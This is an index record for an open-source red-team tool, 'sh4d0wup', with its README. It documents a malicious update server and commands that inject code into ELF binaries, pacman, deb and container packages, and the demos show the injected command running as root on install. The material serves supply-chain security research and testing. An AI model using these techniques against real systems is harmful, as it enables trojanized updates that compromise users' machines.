{"id":17310528,"url":"https://github.com/kpcyrd/sh4d0wup","last_synced_at":"2025-05-16T12:10:24.518Z","repository":{"id":64457440,"uuid":"552375861","full_name":"kpcyrd/sh4d0wup","owner":"kpcyrd","description":"Signing-key abuse and update exploitation framework","archived":false,"fork":false,"pushed_at":"2025-04-07T15:44:38.000Z","size":834,"stargazers_count":125,"open_issues_count":0,"forks_count":12,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-12T06:19:06.369Z","etag":null,"topics":["backdoor-factory","exploitation","hacking","penetration-testing","redteaming","supply-chain-security"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kpcyrd.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":["kpcyrd"]}},"created_at":"2022-10-16T13:04:44.000Z","updated_at":"2025-04-07T15:43:42.000Z","dependencies_parsed_at":"2023-09-25T00:29:23.241Z","dependency_job_id":"72092dca-c124-46ae-9832-0eb0cedf82a9","html_url":"https://github.com/kpcyrd/sh4d0wup","commit_stats":{"total_commits":285,"total_committers":3,"mean_commits":95.0,"dds":0.04210526315789476,"last_synced_commit":"0d15c3d530cee7a10d61e6a15c6df6a4d6d9b7e5"},"previous_names":[],"tags_count":14,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kpcyrd%2Fsh4d0wup","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kpcyrd%2Fsh4d0wup/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kpcyrd%2Fsh4d0wup/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kpcyrd%2Fsh4d0wup/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kpcyrd","download_url":"https://codeload.github.com/kpcyrd/sh4d0wup/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248525139,"owners_count":21118620,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor-factory","exploitation","hacking","penetration-testing","redteaming","supply-chain-security"],"created_at":"2024-10-15T12:37:33.202Z","updated_at":"2025-04-12T06:19:55.523Z","avatar_url":"https://github.com/kpcyrd.png","language":"Rust","funding_links":["https://github.com/sponsors/kpcyrd"],"categories":[],"sub_categories":[],"readme":"# sh4d0wup\n\n```\n% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h\nUsage: sh4d0wup [OPTIONS] \u003cCOMMAND\u003e\n\nCommands:\n  bait         Start a malicious update server\n  front        Bind a http/https server but forward everything unmodified\n  infect       High level tampering, inject additional commands into a package\n  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution\n  keygen       Generate signing keys with the given parameters\n  sign         Use signing keys to generate signatures\n  hsm          Interact with hardware signing keys\n  build        Compile an attack based on a plot\n  check        Check if the plot can still execute correctly against the configured image\n  req          Emulate a http request to test routing and selectors\n  completions  Generate shell completions\n  help         Print this message or the help of the given subcommand(s)\n\nOptions:\n  -v, --verbose...  Increase logging output (can be used multiple times)\n  -q, --quiet...    Reduce logging output (can be used multiple times)\n  -h, --help        Print help information\n  -V, --version     Print version information\n```\n\n## 👻 What are shadow updates?\n\nHave you ever wondered if the update you downloaded is the same one everybody else gets or did you get a different one that was made _just for you_? Shadow updates are updates that officially don't exist but carry valid signatures and would get accepted by clients as genuine. This may happen if the signing key is compromised by hackers or if a release engineer with legitimate access turns grimy.\n\n`sh4d0wup` is a malicious http/https update server that acts as a reverse proxy in front of a legitimate server and can infect + sign various artifact formats. Attacks are configured in `plots` that describe how http request routing works, how artifacts are patched/generated, how they should be signed and with which key. A route can have `selectors` so it matches only if eg. the user-agent matches a pattern or if the client is connecting from a specific ip address. For development and testing, mock signing keys/certificates can be generated and marked as trusted.\n\n## 🏗️ Building sh4d0wup executable\n\nThere's a pre-built binary in the Arch Linux [extra] repository. To build the binary from source on a Debian based system use this (tested with ubuntu 22.04):\n\n```sh\napt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev\ncurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y\nsource \"$HOME/.cargo/env\"\ngit clone https://github.com/kpcyrd/sh4d0wup\ncd sh4d0wup\ncargo build --release\n\nsudo cp ./target/release/sh4d0wup /usr/bin\nsh4d0wup --help\n```\n\n## 📦 Compile a plot\n\nSome plots are more complex to prepare than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.\n\n```\nsh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst\n```\n\n## 🦝 Run a plot\n\nThis spawns a malicious http update server according to the plot. This also\naccepts yaml files but they may take longer to start.\n\n```\nsh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst\n```\n\nYou can find examples here:\n\n- [`contrib/plot-archlinux.yaml`](contrib/plot-archlinux.yaml)\n- [`contrib/plot-debian.yaml`](contrib/plot-debian.yaml)\n- [`contrib/plot-rustup.yaml`](contrib/plot-rustup.yaml)\n- [`contrib/plot-curl-sh.yaml`](contrib/plot-curl-sh.yaml)\n\n## 🪄 Infect an artifact\n\n- [`sh4d0wup infect elf`](#sh4d0wup-infect-elf)\n- [`sh4d0wup infect pacman`](#sh4d0wup-infect-pacman)\n- [`sh4d0wup infect deb`](#sh4d0wup-infect-deb)\n- [`sh4d0wup infect oci`](#sh4d0wup-infect-oci)\n\n### `sh4d0wup infect elf`\n\n```\n% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out\n[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...\n[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...\n[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...\n[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary\n% ./a.out help\nuid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)\nUsage: a.out [OPTIONS] \u003cCOMMAND\u003e\n\nCommands:\n  bait         Start a malicious update server\n  infect       High level tampering, inject additional commands into a package\n  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution\n  keygen       Generate signing keys with the given parameters\n  sign         Use signing keys to generate signatures\n  hsm          Interact with hardware signing keys\n  build        Compile an attack based on a plot\n  check        Check if the plot can still execute correctly against the configured image\n  completions  Generate shell completions\n  help         Print this message or the help of the given subcommand(s)\n\nOptions:\n  -v, --verbose...  Turn debugging information on\n  -h, --help        Print help information\n```\n\n### `sh4d0wup infect pacman`\n\n```\n% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst\n[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...\n% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst\nloading packages...\nresolving dependencies...\nlooking for conflicting packages...\n\nPackages (1) sh4d0wup-0.2.0-2\n\nTotal Installed Size:  13.36 MiB\nNet Upgrade Size:       0.00 MiB\n\n:: Proceed with installation? [Y/n]\n(1/1) checking keys in keyring                                         [#######################################] 100%\n(1/1) checking package integrity                                       [#######################################] 100%\n(1/1) loading package files                                            [#######################################] 100%\n(1/1) checking for file conflicts                                      [#######################################] 100%\n(1/1) checking available disk space                                    [#######################################] 100%\n:: Processing package changes...\n(1/1) upgrading sh4d0wup                                               [#######################################] 100%\nuid=0(root) gid=0(root) groups=0(root)\n:: Running post-transaction hooks...\n(1/2) Arming ConditionNeedsUpdate...\n(2/2) Notifying arch-audit-gtk\n```\n\n### `sh4d0wup infect deb`\n\n```\n% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1\n[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching \"control.tar.xz\"\n% sudo apt install ./apt_2.2.4-1_amd64.deb\nReading package lists... Done\nBuilding dependency tree... Done\nReading state information... Done\nNote, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'\nSuggested packages:\n  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base\nRecommended packages:\n  ca-certificates\nThe following packages will be upgraded:\n  apt\n1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.\nNeed to get 0 B/1491 kB of archives.\nAfter this operation, 0 B of additional disk space will be used.\nGet:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]\ndebconf: delaying package configuration, since apt-utils is not installed\n(Reading database ... 6661 files and directories currently installed.)\nPreparing to unpack /apt_2.2.4-1_amd64.deb ...\nUnpacking apt (2.2.4-1) over (2.2.4) ...\nSetting up apt (2.2.4-1) ...\nuid=0(root) gid=0(root) groups=0(root)\nProcessing triggers for libc-bin (2.31-13+deb11u5) ...\n```\n\n### `sh4d0wup infect oci`\n\n```\n% docker pull alpine:edge\n% docker save alpine:edge \u003e alpine-edge.tar\n% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest\n[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config \"121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json\": LayerConfig { config: Some(Config { user: Some(\"\"), exposed_ports: None, env: Some([\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"]), entrypoint: None, cmd: Some([\"/bin/sh\"]), volumes: None, working_dir: Some(\"\"), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: \"layers\", diff_ids: [\"sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc\"] }), extra: {\"container_config\": Object {\"AttachStderr\": Bool(false), \"AttachStdin\": Bool(false), \"AttachStdout\": Bool(false), \"Cmd\": Array [String(\"/bin/sh\"), String(\"-c\"), String(\"#(nop) \"), String(\"CMD [\\\"/bin/sh\\\"]\")], \"Domainname\": String(\"\"), \"Entrypoint\": Null, \"Env\": Array [String(\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\")], \"Hostname\": String(\"457781b778a4\"), \"Image\": String(\"sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6\"), \"Labels\": Object {}, \"OnBuild\": Null, \"OpenStdin\": Bool(false), \"StdinOnce\": Bool(false), \"Tty\": Bool(false), \"User\": String(\"\"), \"Volumes\": Null, \"WorkingDir\": String(\"\")}, \"architecture\": String(\"amd64\"), \"created\": String(\"2022-11-10T20:19:29.043621251Z\"), \"history\": Array [Object {\"created\": String(\"2022-11-10T20:19:28.834390785Z\"), \"created_by\": String(\"/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / \")}, Object {\"created\": String(\"2022-11-10T20:19:29.043621251Z\"), \"created_by\": String(\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"), \"empty_layer\": Bool(true)}], \"os\": String(\"linux\"), \"docker_version\": String(\"20.10.12\"), \"container\": String(\"457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7\")} }\n[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: \"patched\"\n[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: \"id\"\n[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to [\"infected:latest\"]\n[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...\n% docker load -i infected.tar\nLoaded image: infected:latest\n% docker run -it infected echo hello world\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nhello world\n```\n\n### Bruteforce git commit partial collisions\n\nHere's a short oneliner on how to take the latest commit from a git repository,\nsend it to a remote computer that has sh4d0wup installed to tweak it until the\ncommit id starts with the provided `--collision-prefix` and then inserts the\nnew commit back into the repository on your local computer:\n\n```\n% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin\n```\n\nThis may take some time, eventually it shows a commit id that you can use to\ncreate a new branch:\n\n```\ngit show 777754fde8...\ngit branch some-name 777754fde8...\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkpcyrd%2Fsh4d0wup","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkpcyrd%2Fsh4d0wup","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkpcyrd%2Fsh4d0wup/lists"}